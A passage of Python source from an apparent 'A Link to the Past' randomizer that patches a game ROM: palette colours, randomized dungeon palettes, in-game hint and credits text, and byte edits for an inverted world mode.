0x0DE756: (dirt2, 4), 0x0DE764: (dirt2, 4), 0x0DE772: (dirt2, 4), 0x0DE994: (dirt2, 4), 0x0DE9A2: (dirt2, 4), 0x0DE758: (dirt2, 3), 0x0DE766: (dirt2, 3), 0x0DE774: (dirt2, 3),
0x0DE996: (dirt2, 3), 0x0DE9A4: (dirt2, 3), 0x0DE75A: (dirt2, 2), 0x0DE768: (dirt2, 2), 0x0DE776: (dirt2, 2), 0x0DE778: (dirt2, 2), 0x0DE998: (dirt2, 2), 0x0DE9A6: (dirt2, 2),
0x0DE9AC: (dirt2, 1), 0x0DE99E: (dirt2, 1), 0x0DE760: (dirt2, 1), 0x0DE77A: (dirt2, 1), 0x0DE77C: (dirt2, 1), 0x0DE798: (dirt2, 1), 0x0DE980: (dirt2, 1),
0x0DE75C: (grass3, 2), 0x0DE786: (grass3, 2), 0x0DE794: (grass3, 2), 0x0DE99A: (grass3, 2), 0x0DE75E: (grass3, 1), 0x0DE788: (grass3, 1), 0x0DE796: (grass3, 1), 0x0DE99C: (grass3, 1),
0x0DE76A: (clouds, 2), 0x0DE9A8: (clouds, 2), 0x0DE76E: (clouds, 0), 0x0DE9AA: (clouds, 0), 0x0DE8DA: (clouds, 0), 0x0DE8D8: (clouds, 0), 0x0DE8D0: (clouds, 0), 0x0DE98C: (clouds, 2), 0x0DE990: (clouds, 0),
0x0DEB34: (dwtree, 4), 0x0DEB30: (dwtree, 3), 0x0DEB32: (dwtree, 1),
0x0DE710: (dwdirt, 5), 0x0DE71E: (dwdirt, 5), 0x0DE72C: (dwdirt, 5), 0x0DEAD6: (dwdirt, 5), 0x0DE712: (dwdirt, 4), 0x0DE720: (dwdirt, 4), 0x0DE72E: (dwdirt, 4), 0x0DE660: (dwdirt, 4),
0x0DEAD8: (dwdirt, 4), 0x0DEADA: (dwdirt, 3), 0x0DE714: (dwdirt, 3), 0x0DE722: (dwdirt, 3), 0x0DE730: (dwdirt, 3), 0x0DE732: (dwdirt, 3), 0x0DE734: (dwdirt, 2), 0x0DE736: (dwdirt, 2),
0x0DE728: (dwdirt, 2), 0x0DE71A: (dwdirt, 2), 0x0DE664: (dwdirt, 2), 0x0DEAE0: (dwdirt, 2),
0x0DE716: (dwgrass, 3), 0x0DE740: (dwgrass, 3), 0x0DE74E: (dwgrass, 3), 0x0DEAC0: (dwgrass, 3), 0x0DEACE: (dwgrass, 3), 0x0DEADC: (dwgrass, 3), 0x0DEB24: (dwgrass, 3), 0x0DE752: (dwgrass, 2),
0x0DE718: (dwgrass, 1), 0x0DE742: (dwgrass, 1), 0x0DE750: (dwgrass, 1), 0x0DEB26: (dwgrass, 1), 0x0DEAC2: (dwgrass, 1), 0x0DEAD0: (dwgrass, 1), 0x0DEADE: (dwgrass, 1),
0x0DE65A: (dwwater, 5), 0x0DE65C: (dwwater, 3), 0x0DEAC8: (dwwater, 3), 0x0DEAD2: (dwwater, 2), 0x0DEABC: (dwwater, 2), 0x0DE662: (dwwater, 2), 0x0DE65E: (dwwater, 1), 0x0DEABE: (dwwater, 1), 0x0DEA98: (dwwater, 2),
0x0DE79A: (dwdmdirt, 6), 0x0DE7A8: (dwdmdirt, 6), 0x0DE7B6: (dwdmdirt, 6), 0x0DEB60: (dwdmdirt, 6), 0x0DEB6E: (dwdmdirt, 6), 0x0DE93E: (dwdmdirt, 6), 0x0DE94C: (dwdmdirt, 6), 0x0DEBA6: (dwdmdirt, 6),
0x0DE79C: (dwdmdirt, 4), 0x0DE7AA: (dwdmdirt, 4), 0x0DE7B8: (dwdmdirt, 4), 0x0DEB70: (dwdmdirt, 4), 0x0DEBA8: (dwdmdirt, 4), 0x0DEB72: (dwdmdirt, 3), 0x0DEB74: (dwdmdirt, 3), 0x0DE79E: (dwdmdirt, 3), 0x0DE7AC: (dwdmdirt, 3), 0x0DEBAA: (dwdmdirt, 3), 0x0DE7A0: (dwdmdirt, 3),
0x0DE7BC: (dwdmgrass, 3),
0x0DEBAC: (dwdmdirt, 2), 0x0DE7AE: (dwdmdirt, 2), 0x0DE7C2: (dwdmdirt, 2), 0x0DE7A6: (dwdmdirt, 2), 0x0DEB7A: (dwdmdirt, 2), 0x0DEB6C: (dwdmdirt, 2), 0x0DE7C0: (dwdmdirt, 2),
0x0DE7A2: (dwdmgrass, 3), 0x0DE7BE: (dwdmgrass, 3), 0x0DE7CC: (dwdmgrass, 3), 0x0DE7DA: (dwdmgrass, 3), 0x0DEB6A: (dwdmgrass, 3), 0x0DE948: (dwdmgrass, 3), 0x0DE956: (dwdmgrass, 3), 0x0DE964: (dwdmgrass, 3), 0x0DE7CE: (dwdmgrass, 1), 0x0DE7A4: (dwdmgrass, 1), 0x0DEBA2: (dwdmgrass, 1), 0x0DEBB0: (dwdmgrass, 1),
0x0DE644: (dwdmclouds1, 2), 0x0DEB84: (dwdmclouds1, 2), 0x0DE648: (dwdmclouds1, 1), 0x0DEB88: (dwdmclouds1, 1),
0x0DEBAE: (dwdmclouds2, 2), 0x0DE7B0: (dwdmclouds2, 2), 0x0DE7B4: (dwdmclouds2, 0), 0x0DEB78: (dwdmclouds2, 0), 0x0DEBB2: (dwdmclouds2, 0)
}
for address, (color, shade) in patches.items():
set_color(rom, address, color, shade)
def blackout_ow_palettes(rom):
rom.write_bytes(0xDE604, [0] * 0xC4)
for i in range(0xDE6C8, 0xDE86C, 70):
rom.write_bytes(i, [0] * 64)
rom.write_bytes(i+66, [0] * 4)
rom.write_bytes(0xDE86C, [0] * 0x348)
for address in [0x067FB4, 0x067F94, 0x067FC6, 0x067FE6, 0x067FE1, 0x05FEA9, 0x05FEB3]:
rom.write_bytes(address, [0,0])
def default_uw_palettes(rom):
if not rom.orig_buffer:
return
rom.write_bytes(0xDD734, rom.orig_buffer[0xDD734:0xDE544])
def randomize_uw_palettes(rom):
for dungeon in range(20):
wall, pot, chest, floor1, floor2, floor3 = [[random.randint(60, 240) for _ in range(3)] for _ in range(6)]
for i in range(5):
shade = 10 - (i * 2)
set_color(rom, 0x0DD734 + (0xB4 * dungeon) + (i * 2), wall, shade)
set_color(rom, 0x0DD770 + (0xB4 * dungeon) + (i * 2), wall, shade)
set_color(rom, 0x0DD744 + (0xB4 * dungeon) + (i * 2), wall, shade)
if dungeon == 0:
set_color(rom, 0x0DD7CA + (0xB4 * dungeon) + (i * 2), wall, shade)
if dungeon == 2:
set_color(rom, 0x0DD74E + (0xB4 * dungeon), wall, 3)
set_color(rom, 0x0DD750 + (0xB4 * dungeon), wall, 5)
set_color(rom, 0x0DD73E + (0xB4 * dungeon), wall, 3)
set_color(rom, 0x0DD740 + (0xB4 * dungeon), wall, 5)
set_color(rom, 0x0DD7E4 + (0xB4 * dungeon), wall, 4)
set_color(rom, 0x0DD7E6 + (0xB4 * dungeon), wall, 2)
set_color(rom, 0xDD7DA + (0xB4 * dungeon), wall, 10)
set_color(rom, 0xDD7DC + (0xB4 * dungeon), wall, 8)
set_color(rom, 0x0DD75A + (0xB4 * dungeon), pot, 7)
set_color(rom, 0x0DD75C + (0xB4 * dungeon), pot, 1)
set_color(rom, 0x0DD75E + (0xB4 * dungeon), pot, 3)
set_color(rom, 0x0DD76A + (0xB4 * dungeon), wall, 7)
set_color(rom, 0x0DD76C + (0xB4 * dungeon), wall, 2)
set_color(rom, 0x0DD76E + (0xB4 * dungeon), wall, 4)
set_color(rom, 0x0DD7AE + (0xB4 * dungeon), chest, 2)
set_color(rom, 0x0DD7B0 + (0xB4 * dungeon), chest, 0)
for i in range(3):
shade = 6 - (i * 2)
set_color(rom, 0x0DD764 + (0xB4 * dungeon) + (i * 2), floor1, shade)
set_color(rom, 0x0DD782 + (0xB4 * dungeon) + (i * 2), floor1, shade + 3)
set_color(rom, 0x0DD7A0 + (0xB4 * dungeon) + (i * 2), floor2, shade)
set_color(rom, 0x0DD7BE + (0xB4 * dungeon) + (i * 2), floor2, shade + 3)
set_color(rom, 0x0DD7E2 + (0xB4 * dungeon), floor3, 3)
set_color(rom, 0x0DD796 + (0xB4 * dungeon), floor3, 4)
def blackout_uw_palettes(rom):
for i in range(0xDD734, 0xDE544, 180):
rom.write_bytes(i, [0] * 38)
rom.write_bytes(i+44, [0] * 76)
rom.write_bytes(i+136, [0] * 44)
def get_hash_string(hash):
return ", ".join([hash_alphabet[code & 0x1F] for code in hash])
def write_string_to_rom(rom, target, string):
address, maxbytes = text_addresses[target]
rom.write_bytes(address, MultiByteTextMapper.convert(string, maxbytes))
def write_strings(rom, world, player, team):
tt = TextTable()
tt.removeUnwantedText()
# Let's keep this guy's text accurate to the shuffle setting.
if world.shuffle[player] in ['vanilla', 'dungeonsfull', 'dungeonssimple']:
tt['kakariko_flophouse_man_no_flippers'] = 'I really hate mowing my yard.\n{PAGEBREAK}\nI should move.'
tt['kakariko_flophouse_man'] = 'I really hate mowing my yard.\n{PAGEBREAK}\nI should move.'
def hint_text(dest, ped_hint=False):
if not dest:
return "nothing"
if ped_hint:
hint = dest.pedestal_hint_text if dest.pedestal_hint_text else "unknown item"
else:
hint = dest.hint_text if dest.hint_text else "something"
if dest.player != player:
if ped_hint:
hint += f" for {world.player_names[dest.player][team]}!"
elif type(dest) in [Region, Location]:
hint += f" in {world.player_names[dest.player][team]}'s world"
else:
hint += f" for {world.player_names[dest.player][team]}"
return hint
# For hints, first we write hints about entrances, some from the inconvenient list others from all reasonable entrances.
if world.hints[player]:
tt['sign_north_of_links_house'] = '> Randomizer The telepathic tiles can have hints!'
hint_locations = HintLocations.copy()
random.shuffle(hint_locations)
all_entrances = [entrance for entrance in world.get_entrances() if entrance.player == player]
random.shuffle(all_entrances)
#First we take care of the one inconvenient dungeon in the appropriately simple shuffles.
entrances_to_hint = {}
entrances_to_hint.update(InconvenientDungeonEntrances)
if world.shuffle_ganon:
if world.mode[player] == 'inverted':
entrances_to_hint.update({'Inverted Ganons Tower': 'The sealed castle door'})
else:
entrances_to_hint.update({'Ganons Tower': 'Ganon\'s Tower'})
if world.shuffle[player] in ['simple', 'restricted', 'restricted_legacy']:
for entrance in all_entrances:
if entrance.name in entrances_to_hint:
this_hint = entrances_to_hint[entrance.name] + ' leads to ' + hint_text(entrance.connected_region) + '.'
tt[hint_locations.pop(0)] = this_hint
entrances_to_hint = {}
break
#Now we write inconvenient locations for most shuffles and finish taking care of the less chaotic ones.
entrances_to_hint.update(InconvenientOtherEntrances)
if world.shuffle[player] in ['vanilla', 'dungeonssimple', 'dungeonsfull']:
hint_count = 0
elif world.shuffle[player] in ['simple', 'restricted', 'restricted_legacy']:
hint_count = 2
else:
hint_count = 4
for entrance in all_entrances:
if entrance.name in entrances_to_hint:
if hint_count > 0:
this_hint = entrances_to_hint[entrance.name] + ' leads to ' + hint_text(entrance.connected_region) + '.'
tt[hint_locations.pop(0)] = this_hint
entrances_to_hint.pop(entrance.name)
hint_count -= 1
else:
break
#Next we handle hints for randomly selected other entrances, curating the selection intelligently based on shuffle.
if world.shuffle[player] not in ['simple', 'restricted', 'restricted_legacy']:
entrances_to_hint.update(ConnectorEntrances)
entrances_to_hint.update(DungeonEntrances)
if world.mode[player] == 'inverted':
entrances_to_hint.update({'Inverted Agahnims Tower': 'The dark mountain tower'})
else:
entrances_to_hint.update({'Agahnims Tower': 'The sealed castle door'})
elif world.shuffle[player] == 'restricted':
entrances_to_hint.update(ConnectorEntrances)
entrances_to_hint.update(OtherEntrances)
if world.mode[player] == 'inverted':
entrances_to_hint.update({'Inverted Dark Sanctuary': 'The dark sanctuary cave'})
entrances_to_hint.update({'Inverted Big Bomb Shop': 'The old hero\'s dark home'})
entrances_to_hint.update({'Inverted Links House': 'The old hero\'s light home'})
else:
entrances_to_hint.update({'Dark Sanctuary Hint': 'The dark sanctuary cave'})
entrances_to_hint.update({'Big Bomb Shop': 'The old bomb shop'})
if world.shuffle[player] in ['insanity', 'madness_legacy', 'insanity_legacy']:
entrances_to_hint.update(InsanityEntrances)
if world.shuffle_ganon:
if world.mode[player] == 'inverted':
entrances_to_hint.update({'Inverted Pyramid Entrance': 'The extra castle passage'})
else:
entrances_to_hint.update({'Pyramid Ledge': 'The pyramid ledge'})
hint_count = 4 if world.shuffle[player] not in ['vanilla', 'dungeonssimple', 'dungeonsfull'] else 0
for entrance in all_entrances:
if entrance.name in entrances_to_hint:
if hint_count > 0:
this_hint = entrances_to_hint[entrance.name] + ' leads to ' + hint_text(entrance.connected_region) + '.'
tt[hint_locations.pop(0)] = this_hint
entrances_to_hint.pop(entrance.name)
hint_count -= 1
else:
break
# Next we write a few hints for specific inconvenient locations. We don't make many because in entrance this is highly unpredictable.
locations_to_hint = InconvenientLocations.copy()
if world.shuffle[player] in ['vanilla', 'dungeonssimple', 'dungeonsfull']:
locations_to_hint.extend(InconvenientVanillaLocations)
random.shuffle(locations_to_hint)
hint_count = 3 if world.shuffle[player] not in ['vanilla', 'dungeonssimple', 'dungeonsfull'] else 5
del locations_to_hint[hint_count:]
for location in locations_to_hint:
if location == 'Swamp Left':
if random.randint(0, 1) == 0:
first_item = hint_text(world.get_location('Swamp Palace - West Chest', player).item)
second_item = hint_text(world.get_location('Swamp Palace - Big Key Chest', player).item)
else:
second_item = hint_text(world.get_location('Swamp Palace - West Chest', player).item)
first_item = hint_text(world.get_location('Swamp Palace - Big Key Chest', player).item)
this_hint = ('The westmost chests in Swamp Palace contain ' + first_item + ' and ' + second_item + '.')
tt[hint_locations.pop(0)] = this_hint
elif location == 'Mire Left':
if random.randint(0, 1) == 0:
first_item = hint_text(world.get_location('Misery Mire - Compass Chest', player).item)
second_item = hint_text(world.get_location('Misery Mire - Big Key Chest', player).item)
else:
second_item = hint_text(world.get_location('Misery Mire - Compass Chest', player).item)
first_item = hint_text(world.get_location('Misery Mire - Big Key Chest', player).item)
this_hint = ('The westmost chests in Misery Mire contain ' + first_item + ' and ' + second_item + '.')
tt[hint_locations.pop(0)] = this_hint
elif location == 'Tower of Hera - Big Key Chest':
this_hint = 'Waiting in the Tower of Hera basement leads to ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
elif location == 'Ganons Tower - Big Chest':
this_hint = 'The big chest in Ganon\'s Tower contains ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
elif location == 'Thieves\' Town - Big Chest':
this_hint = 'The big chest in Thieves\' Town contains ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
elif location == 'Ice Palace - Big Chest':
this_hint = 'The big chest in Ice Palace contains ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
elif location == 'Eastern Palace - Big Key Chest':
this_hint = 'The antifairy guarded chest in Eastern Palace contains ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
elif location == 'Sahasrahla':
this_hint = 'Sahasrahla seeks a green pendant for ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
elif location == 'Graveyard Cave':
this_hint = 'The cave north of the graveyard contains ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
else:
this_hint = location + ' contains ' + hint_text(world.get_location(location, player).item) + '.'
tt[hint_locations.pop(0)] = this_hint
# Lastly we write hints to show where certain interesting items are. It is done the way it is to re-use the silver code and also to give one hint per each type of item regardless of how many exist. This supports many settings well.
items_to_hint = RelevantItems.copy()
if world.keyshuffle[player]:
items_to_hint.extend(SmallKeys)
if world.bigkeyshuffle[player]:
items_to_hint.extend(BigKeys)
random.shuffle(items_to_hint)
hint_count = 5 if world.shuffle[player] not in ['vanilla', 'dungeonssimple', 'dungeonsfull'] else 8
while hint_count > 0:
this_item = items_to_hint.pop(0)
this_location = world.find_items(this_item, player)
random.shuffle(this_location)
#This looks dumb but prevents hints for Skull Woods Pinball Room's key safely with any item pool.
if this_location:
if this_location[0].name == 'Skull Woods - Pinball Room':
this_location.pop(0)
if this_location:
this_hint = this_location[0].item.hint_text + ' can be found ' + hint_text(this_location[0]) + '.'
tt[hint_locations.pop(0)] = this_hint
hint_count -= 1
# All remaining hint slots are filled with junk hints. It is done this way to ensure the same junk hint isn't selected twice.
junk_hints = junk_texts.copy()
random.shuffle(junk_hints)
for location in hint_locations:
tt[location] = junk_hints.pop(0)
# We still need the older hints of course. Those are done here.
silverarrows = world.find_items('Silver Arrows', player)
random.shuffle(silverarrows)
silverarrow_hint = (' %s?' % hint_text(silverarrows[0]).replace('Ganon\'s', 'my')) if silverarrows else '?\nI think not!'
tt['ganon_phase_3_no_silvers'] = 'Did you find the silver arrows%s' % silverarrow_hint
tt['ganon_phase_3_no_silvers_alt'] = 'Did you find the silver arrows%s' % silverarrow_hint
prog_bow_locs = world.find_items('Progressive Bow', player)
distinguished_prog_bow_loc = next((location for location in prog_bow_locs if location.item.code == 0x65), None)
if distinguished_prog_bow_loc:
prog_bow_locs.remove(distinguished_prog_bow_loc)
silverarrow_hint = (' %s?' % hint_text(distinguished_prog_bow_loc).replace('Ganon\'s', 'my'))
tt['ganon_phase_3_no_silvers'] = 'Did you find the silver arrows%s' % silverarrow_hint
if any(prog_bow_locs):
silverarrow_hint = (' %s?' % hint_text(random.choice(prog_bow_locs)).replace('Ganon\'s', 'my'))
tt['ganon_phase_3_no_silvers_alt'] = 'Did you find the silver arrows%s' % silverarrow_hint
crystal5 = world.find_items('Crystal 5', player)[0]
crystal6 = world.find_items('Crystal 6', player)[0]
tt['bomb_shop'] = 'Big Bomb?\nMy supply is blocked until you clear %s and %s.' % (crystal5.hint_text, crystal6.hint_text)
greenpendant = world.find_items('Green Pendant', player)[0]
tt['sahasrahla_bring_courage'] = 'I lost my family heirloom in %s' % greenpendant.hint_text
tt['sign_ganons_tower'] = ('You need %d crystal to enter.' if world.crystals_needed_for_gt[player] == 1 else 'You need %d crystals to enter.') % world.crystals_needed_for_gt[player]
tt['sign_ganon'] = ('You need %d crystal to beat Ganon.' if world.crystals_needed_for_ganon[player] == 1 else 'You need %d crystals to beat Ganon.') % world.crystals_needed_for_ganon[player]
if world.goal[player] in ['dungeons']:
tt['sign_ganon'] = 'You need to complete all the dungeons.'
tt['uncle_leaving_text'] = Uncle_texts[random.randint(0, len(Uncle_texts) - 1)]
tt['end_triforce'] = "{NOBORDER}\n" + Triforce_texts[random.randint(0, len(Triforce_texts) - 1)]
tt['bomb_shop_big_bomb'] = BombShop2_texts[random.randint(0, len(BombShop2_texts) - 1)]
# this is what shows after getting the green pendant item in rando
tt['sahasrahla_quest_have_master_sword'] = Sahasrahla2_texts[random.randint(0, len(Sahasrahla2_texts) - 1)]
tt['blind_by_the_light'] = Blind_texts[random.randint(0, len(Blind_texts) - 1)]
if world.goal[player] in ['triforcehunt']:
tt['ganon_fall_in_alt'] = 'Why are you even here?\n You can\'t even hurt me! Get the Triforce Pieces.'
tt['ganon_phase_3_alt'] = 'Seriously? Go Away, I will not Die.'
tt['sign_ganon'] = 'Go find the Triforce pieces... Ganon is invincible!'
tt['murahdahla'] = "Hello @. I\nam Murahdahla, brother of\nSahasrahla and Aginah. Behold the power of\ninvisibility.\n\n\n\n… … …\n\nWait! you can see me? I knew I should have\nhidden in a hollow tree. If you bring\n%d triforce pieces, I can reassemble it." % world.treasure_hunt_count[player]
elif world.goal[player] in ['pedestal']:
tt['ganon_fall_in_alt'] = 'Why are you even here?\n You can\'t even hurt me! Your goal is at the pedestal.'
tt['ganon_phase_3_alt'] = 'Seriously? Go Away, I will not Die.'
tt['sign_ganon'] = 'You need to get to the pedestal... Ganon is invincible!'
else:
tt['ganon_fall_in'] = Ganon1_texts[random.randint(0, len(Ganon1_texts) - 1)]
tt['ganon_fall_in_alt'] = 'You cannot defeat me until you finish your goal!'
tt['ganon_phase_3_alt'] = 'Got wax in\nyour ears?\nI can not die!'
tt['kakariko_tavern_fisherman'] = TavernMan_texts[random.randint(0, len(TavernMan_texts) - 1)]
pedestalitem = world.get_location('Master Sword Pedestal', player).item
pedestal_text = 'Some Hot Air' if pedestalitem is None else hint_text(pedestalitem, True) if pedestalitem.pedestal_hint_text is not None else 'Unknown Item'
tt['mastersword_pedestal_translated'] = pedestal_text
pedestal_credit_text = 'and the Hot Air' if pedestalitem is None else pedestalitem.pedestal_credit_text if pedestalitem.pedestal_credit_text is not None else 'and the Unknown Item'
etheritem = world.get_location('Ether Tablet', player).item
ether_text = 'Some Hot Air' if etheritem is None else hint_text(etheritem, True) if etheritem.pedestal_hint_text is not None else 'Unknown Item'
tt['tablet_ether_book'] = ether_text
bombositem = world.get_location('Bombos Tablet', player).item
bombos_text = 'Some Hot Air' if bombositem is None else hint_text(bombositem, True) if bombositem.pedestal_hint_text is not None else 'Unknown Item'
tt['tablet_bombos_book'] = bombos_text
# inverted spawn menu changes
if world.mode[player] == 'inverted':
tt['menu_start_2'] = "{MENU}\n{SPEED0}\n≥@'s house\n Dark Chapel\n{CHOICE3}"
tt['menu_start_3'] = "{MENU}\n{SPEED0}\n≥@'s house\n Dark Chapel\n Mountain Cave\n{CHOICE2}"
tt['intro_main'] = CompressedTextMapper.convert(
"{INTRO}\n Episode III\n{PAUSE3}\n A Link to\n the Past\n"
+ "{PAUSE3}\nInverted\n Randomizer\n{PAUSE3}\nAfter mostly disregarding what happened in the first two games.\n"
+ "{PAUSE3}\nLink has been transported to the Dark World\n{PAUSE3}\nWhile he was slumbering\n"
+ "{PAUSE3}\nWhatever will happen?\n{PAUSE3}\n{CHANGEPIC}\nGanon has moved around all the items in Hyrule.\n"
+ "{PAUSE7}\nYou will have to find all the items necessary to beat Ganon.\n"
+ "{PAUSE7}\nThis is your chance to be a hero.\n{PAUSE3}\n{CHANGEPIC}\n"
+ "You must get the 7 crystals to beat Ganon.\n{PAUSE9}\n{CHANGEPIC}", False)
rom.write_bytes(0xE0000, tt.getBytes())
credits = Credits()
sickkiditem = world.get_location('Sick Kid', player).item
sickkiditem_text = random.choice(SickKid_texts) if sickkiditem is None or sickkiditem.sickkid_credit_text is None else sickkiditem.sickkid_credit_text
zoraitem = world.get_location('King Zora', player).item
zoraitem_text = random.choice(Zora_texts) if zoraitem is None or zoraitem.zora_credit_text is None else zoraitem.zora_credit_text
magicshopitem = world.get_location('Potion Shop', player).item
magicshopitem_text = random.choice(MagicShop_texts) if magicshopitem is None or magicshopitem.magicshop_credit_text is None else magicshopitem.magicshop_credit_text
fluteboyitem = world.get_location('Flute Spot', player).item
fluteboyitem_text = random.choice(FluteBoy_texts) if fluteboyitem is None or fluteboyitem.fluteboy_credit_text is None else fluteboyitem.fluteboy_credit_text
credits.update_credits_line('castle', 0, random.choice(KingsReturn_texts))
credits.update_credits_line('sanctuary', 0, random.choice(Sanctuary_texts))
credits.update_credits_line('kakariko', 0, random.choice(Kakariko_texts).format(random.choice(Sahasrahla_names)))
credits.update_credits_line('desert', 0, random.choice(DesertPalace_texts))
credits.update_credits_line('hera', 0, random.choice(MountainTower_texts))
credits.update_credits_line('house', 0, random.choice(LinksHouse_texts))
credits.update_credits_line('zora', 0, zoraitem_text)
credits.update_credits_line('witch', 0, magicshopitem_text)
credits.update_credits_line('lumberjacks', 0, random.choice(Lumberjacks_texts))
credits.update_credits_line('grove', 0, fluteboyitem_text)
credits.update_credits_line('well', 0, random.choice(WishingWell_texts))
credits.update_credits_line('smithy', 0, random.choice(Blacksmiths_texts))
credits.update_credits_line('kakariko2', 0, sickkiditem_text)
credits.update_credits_line('bridge', 0, random.choice(DeathMountain_texts))
credits.update_credits_line('woods', 0, random.choice(LostWoods_texts))
credits.update_credits_line('pedestal', 0, pedestal_credit_text)
(pointers, data) = credits.get_bytes()
rom.write_bytes(0x181500, data)
rom.write_bytes(0x76CC0, [byte for p in pointers for byte in [p & 0xFF, p >> 8 & 0xFF]])
def set_inverted_mode(world, player, rom):
rom.write_byte(snes_to_pc(0x0283E0), 0xF0) # residual portals
rom.write_byte(snes_to_pc(0x02B34D), 0xF0)
rom.write_byte(snes_to_pc(0x06DB78), 0x8B)
rom.write_byte(snes_to_pc(0x05AF79), 0xF0)
rom.write_byte(snes_to_pc(0x0DB3C5), 0xC6)
rom.write_byte(snes_to_pc(0x07A3F4), 0xF0) # duck
write_int16s(rom, snes_to_pc(0x02E849), [0x0043, 0x0056, 0x0058, 0x006C, 0x006F, 0x0070, 0x007B, 0x007F, 0x001B]) # dw flute
write_int16(rom, snes_to_pc(0x02E8D5), 0x07C8)
write_int16(rom, snes_to_pc(0x02E8F7), 0x01F8)
rom.write_byte(snes_to_pc(0x08D40C), 0xD0) # morph proof
# the following bytes should only be written in vanilla
# or they'll overwrite the randomizer's shuffles
if world.shuffle[player] == 'vanilla':
rom.write_byte(0xDBB73 + 0x23, 0x37) # switch AT and GT
rom.write_byte(0xDBB73 + 0x36, 0x24)
write_int16(rom, 0x15AEE + 2*0x38, 0x00E0)
write_int16(rom, 0x15AEE + 2*0x25, 0x000C)
if world.shuffle[player] in ['vanilla', 'dungeonssimple', 'dungeonsfull']:
rom.write_byte(0x15B8C, 0x6C)
rom.write_byte(0xDBB73 + 0x00, 0x53) # switch bomb shop and links house
rom.write_byte(0xDBB73 + 0x52, 0x01)
rom.write_byte(0xDBB73 + 0x15, 0x06) # bumper and old man cave
write_int16(rom, 0x15AEE + 2*0x17, 0x00F0)
rom.write_byte(0xDBB73 + 0x05, 0x16)
write_int16(rom, 0x15AEE + 2*0x07, 0x00FB)
rom.write_byte(0xDBB73 + 0x2D, 0x17)
write_int16(rom, 0x15AEE + 2*0x2F, 0x00EB)
rom.write_byte(0xDBB73 + 0x06, 0x2E)
write_int16(rom, 0x15AEE + 2*0x08, 0x00E6)
rom.write_byte(0xDBB73 + 0x16, 0x5E)
rom.write_byte(0xDBB73 + 0x6F, 0x07) # DDM fairy to old man cave
write_int16(rom, 0x15AEE + 2*0x18, 0x00F1)
rom.write_byte(0x15B8C + 0x18, 0x43)
write_int16(rom, 0x15BDB + 2 * 0x18, 0x1400)
write_int16(rom, 0x15C79 + 2 * 0x18, 0x0294)
write_int16(rom, 0x15D17 + 2 * 0x18, 0x0600)
write_int16(rom, 0x15DB5 + 2 * 0x18, 0x02E8)
write_int16(rom, 0x15E53 + 2 * 0x18, 0x0678)
write_int16(rom, 0x15EF1 + 2 * 0x18, 0x0303)
write_int16(rom, 0x15F8F + 2 * 0x18, 0x0685)
rom.write_byte(0x1602D + 0x18, 0x0A)
rom.write_byte(0x1607C + 0x18, 0xF6)
write_int16(rom, 0x160CB + 2 * 0x18, 0x0000)
write_int16(rom, 0x16169 + 2 * 0x18, 0x0000)
write_int16(rom, 0x15AEE + 2 * 0x3D, 0x0003) # pyramid exit and houlihan
rom.write_byte(0x15B8C + 0x3D, 0x5B)
write_int16(rom, 0x15BDB + 2 * 0x3D, 0x0B0E)
write_int16(rom, 0x15C79 + 2 * 0x3D, 0x075A)
write_int16(rom, 0x15D17 + 2 * 0x3D, 0x0674)
write_int16(rom, 0x15DB5 + 2 * 0x3D, 0x07A8)
write_int16(rom, 0x15E53 + 2 * 0x3D, 0x06E8)
write_int16(rom, 0x15EF1 + 2 * 0x3D, 0x07C7)
write_int16(rom, 0x15F8F + 2 * 0x3D, 0x06F3)
rom.write_byte(0x1602D + 0x3D, 0x06)
rom.write_byte(0x1607C + 0x3D, 0xFA)
write_int16(rom, 0x160CB + 2 * 0x3D, 0x0000)
write_int16(rom, 0x16169 + 2 * 0x3D, 0x0000)
write_int16(rom, snes_to_pc(0x02D8D4), 0x112) # change sactuary spawn point to dark sanc
rom.write_bytes(snes_to_pc(0x02D8E8), [0x22, 0x22, 0x22, 0x23, 0x04, 0x04, 0x04, 0x05])
write_int16(rom, snes_to_pc(0x02D91A), 0x0400)
write_int16(rom, snes_to_pc(0x02D928), 0x222E)
write_int16(rom, snes_to_pc(0x02D936), 0x229A)
write_int16(rom, snes_to_pc(0x02D944), 0x0480)
write_int16(rom, snes_to_pc(0x02D952), 0x00A5)
write_int16(rom, snes_to_pc(0x02D960), 0x007F)
rom.write_byte(snes_to_pc(0x02D96D), 0x14)
rom.write_byte(snes_to_pc(0x02D974), 0x00)
rom.write_byte(snes_to_pc(0x02D97B), 0xFF)
rom.write_byte(snes_to_pc(0x02D982), 0x00)
rom.write_byte(snes_to_pc(0x02D989), 0x02)
rom.write_byte(snes_to_pc(0x02D990), 0x00)
write_int16(rom, snes_to_pc(0x02D998), 0x0000)
write_int16(rom, snes_to_pc(0x02D9A6), 0x005A)
rom.write_byte(snes_to_pc(0x02D9B3), 0x12)
# keep the old man spawn point at old man house unless shuffle is vanilla
if world.shuffle[player] in ['vanilla', 'dungeonsfull', 'dungeonssimple']:
rom.write_bytes(snes_to_pc(0x308350), [0x00, 0x00, 0x01])
write_int16(rom, snes_to_pc(0x02D8DE), 0x00F1)
rom.write_bytes(snes_to_pc(0x02D910), [0x1F, 0x1E, 0x1F, 0x1F, 0x03, 0x02, 0x03, 0x03])
write_int16(rom, snes_to_pc(0x02D924), 0x0300)
write_int16(rom, snes_to_pc(0x02D932), 0x1F10)
write_int16(rom, snes_to_pc(0x02D940), 0x1FC0)
write_int16(rom, snes_to_pc(0x02D94E), 0x0378)
write_int16(rom, snes_to_pc(0x02D95C), 0x0187)
write_int16(rom, snes_to_pc(0x02D96A), 0x017F)
rom.write_byte(snes_to_pc(0x02D972), 0x06)
rom.write_byte(snes_to_pc(0x02D979), 0x00)
rom.write_byte(snes_to_pc(0x02D980), 0xFF)
rom.write_byte(snes_to_pc(0x02D987), 0x00)
rom.write_byte(snes_to_pc(0x02D98E), 0x22)
rom.write_byte(snes_to_pc(0x02D995), 0x12)
write_int16(rom, snes_to_pc(0x02D9A2), 0x0000)
write_int16(rom, snes_to_pc(0x02D9B0), 0x0007)
rom.write_byte(snes_to_pc(0x02D9B8), 0x12)
